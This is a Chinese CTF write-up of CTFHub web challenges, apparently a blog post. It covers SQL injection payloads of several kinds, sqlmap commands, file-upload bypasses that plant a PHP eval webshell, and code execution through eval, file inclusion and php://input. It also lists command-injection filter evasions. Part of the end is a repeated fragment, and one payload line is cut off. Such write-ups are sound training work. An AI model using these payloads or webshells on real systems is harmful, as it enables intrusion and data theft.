CTFHUB-WEB题目

CTFHub - 注入

1. 字符型注入

2. 报错注入

一、updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。

由于updatexml的第二个参数需要Xpath格式的字符串,以开头的内容不是xml格式的语法,字符对应ascii码的十六进制为0x7e,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

1 union select updatexml(1,concat(0x7e, left((select(concat(flag)) from sqli.flag) ,31),0x7e),1)

二、extractvalue()函数

EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
作用:从目标XML中返回包含所查询值的字符串;
与updatexml()函数相似,该函数对XPath_string进行查询操作,如果符合语法格式要求,则从目标XML中返回包含所查询值的字符串,不符合语法格式要求,则会报错并带出查询的结果

1 union select extractvalue(1,concat(0x7e,left((select flag from flag limit 0,1),31),0x7e))

三、常用函数
right(str, num):字符串从右开始截取num个字符
left(str,num):字符串从左开始截取num个字符
substr(str,N,M): 字符串从第N个字符开始,截取M个字符

3. 布尔盲注

首先猜测数据库的长度

1 and length(database()) >5

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UDeJjAOm-1634131158861)(https://i.loli.net/2021/10/13/j98P7FYsLBZwVdh.png)]

1 and length(database())=4

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rn7JLsog-1634131158864)(https://i.loli.net/2021/10/13/rEI1AFoYTSZJgaK.png)]

猜测数据库的名称

1 and ascii(substr(database(),1,1))>110
query_success

1 and ascii(substr(database(),1,1))>200
query_error

1 and ascii(substr(database(),1,1))=115
query_success

得到第一个字符为s

substr(string,start,length)
表示从start开始截取string长度为length 的字符

同理得到库名为sqli

得到数据库中表的数量

1 and (select count(table_name)from information_schema.tables where table_schema=database())=2 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oIyuZxxD-1634131158865)(https://i.loli.net/2021/10/13/JM1PjhK2qaHTUkD.png)]

得到表名

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),1,1))>110
(不断改变范围,把第一张数据表的第一个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),2,1))>110
(不断改变范围,把第一张数据表的第二个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),3,1))>110
(不断改变范围,把第一张数据表的第三个字母猜解出来)

......
......
最后得到表名为news
1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 1,1),1,1))>110
(不断改变范围,把第二张数据表的第一个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 1,1),2,1))>110
(不断改变范围,把第二张数据表的第二个字母猜解出来)

1 and ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 1,1),3,1))>110
(不断改变范围,把第二张数据表的第三个字母猜解出来)

......
......
最后得到表名为flag

4. 时间盲注

判断数据库名长度

1 and if(length(database())=4,sleep(3),1)

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
sleep(X)函数,延迟X秒后回显
if(1=1,1,sleep(1))即输出一
if(1=2,1,sleep(1))即延迟一秒后回显

判断库名

1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)	ascii(s)=115

1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)	ascii(q)=113

1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)	ascii(l)=108

1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)	ascii(i)=105

......
不断调整ASCII码的范围逐渐得到数据库名称为sqli

sqli数据库中表的数量

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)

猜表名

1 and if (ascii(substr(database)))

5. Cookie注入、UA注入、Refer注入

抓包在相应的地方注入

#获取数据库相关信息
id=-1 union select version(),database()
#获取表名xxxxx
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'
#获取列名yyyyy
id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='xxxxx'
获取字段
id=-1 union select yyyyy,2 from xxxxx

6. sqlmap

获取数据库名
python sqlmap.py -u "http:xxx" --dbs

获取指定库的表名
python sqlmap.py -u "http:xxx" -D database_name --table

获取指定表的字段名
python sqlmap.py -u "http:xxx" -D database_name -T table_name --columns --dump

CTFHub - 文件上传

1. 无验证

构建一句话木马,保存为muma.php文件上传,得到上传目录为/upload/muma.php

<?php eval(@$_POST['a']); ?>

蚁剑建立连接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xcVEgPVY-1634131158869)(https://i.loli.net/2021/10/13/yDV3H9AlWFYx1Ne.png)]

得到flag:ctfhub{b8f5b8175b3b053d7534bb49}

2. 前端验证

前端发现js代码,发现只能上传图片格式的文件,于是将muma.php重命名为muma.jpg,提交并抓包


   		var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }

抓包后将muma.jpg再更改为muma.php提交。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zRf0mVAf-1634131158871)(https://i.loli.net/2021/10/13/TOvMrHR2AFBpNwP.png)]

蚁剑连接得到flag:ctfhub{c292893ee186e5e4a957011e}

3. .htaccess

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

先写一个.htaccess文件上传

#所有的文件都当成php文件来解析
SetHandler application/x-httpd-php

在写一个木马文件muma.txt上传,接着蚁剑连接获取flag

4. MIME绕过

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

抓包直接修改Content-Type或者文件后缀名上传。

5. 文件头检查

后台会检查文件的文件头,所以先用画图文件画一张图,图越小越干净越好,抓包植入一句话木马。

6. 00截断

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。

上传木马图片,抓包,在修改POST …/upload/muma.php%00…

7.双写后缀

修改后缀为muma.pphphp

CTFHub - REC

1. eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>
isset:用于检测变量是否已设置并且非 NULL
eval:即会执行括号中的内容,并返回结果;
$_RESQUEST:可以当做$_post也可以当做$_get使用,缺点是反应速度较慢
?cmd=system("ls /");
回显:
bin boot dev etc flag_7239 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

?cmd=system("cat /flag_7239");
得到flag:
ctfhub{bec201174b44f5801d4c1d54}

2.文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?

#shell.txt内容
<?php eval($_REQUEST['ctfhub']);?>

在url后面添加参数: ?file=shell.txt

POST提交:ctfhub=system(‘find / -name flag’);

image-20211006111224015.png

找到flag文件位置为*/flag*

image-20211006111154305.png

POST提交:ctfhub=system(‘cat /flag’);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-twpHCBij-1634131158874)(https://i.loli.net/2021/10/13/7FPYR8TUNup5G2C.png)]

3.php://input 远程包含

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

截取file变量的前六个字符需要与 php://相等,所以应该是要用到php伪协议

  • php伪协议

PHP伪协议指的是PHP所支持的协议与封装协议

https://segmentfault.com/a/1190000018991087

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2Tw9v0Jm-1634131158875)(https://i.loli.net/2021/10/13/PIV6g74pxEo2XZL.png)]

在bp发送到Repeater,在GET方法中加入*?file=php://input*

头文件加入<?php system(“ls /”)?>找到flag文件的位置

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IHPm8OHv-1634131158876)(https://i.loli.net/2021/10/13/aCDpwolOMsv4i3Y.png)]

<?php system("cat /flag_15940")?>得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-toorcRKB-1634131158876)(https://i.loli.net/2021/10/13/QxhcG1Dm8NsIOg2.png)]

ctfhub{b39b8563f396ad6923c39b48}

4.读取源代码

php://filter

条件

  • allow_url_fopen:off/on

  • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

payload:

?file=php://filter/resource=/flag

5.命令注入

分隔符可以使用%0a代替
/?ip=127.0.0.1%0als => 127.0.0.1;ls
(space) => ${IFS}
对于文件夹的内容,使用$(printf "路径")代替路径
cat => ca''t / ca""t
使用16进制字符串访问文件
               |

| read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。 |
| write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。 |
| <; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |

payload:

?file=php://filter/resource=/flag

5.命令注入

分隔符可以使用%0a代替
/?ip=127.0.0.1%0als => 127.0.0.1;ls
(space) => ${IFS}
对于文件夹的内容,使用$(printf "路径")代替路径
cat => ca''t / ca""t
使用16进制字符串访问文件
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值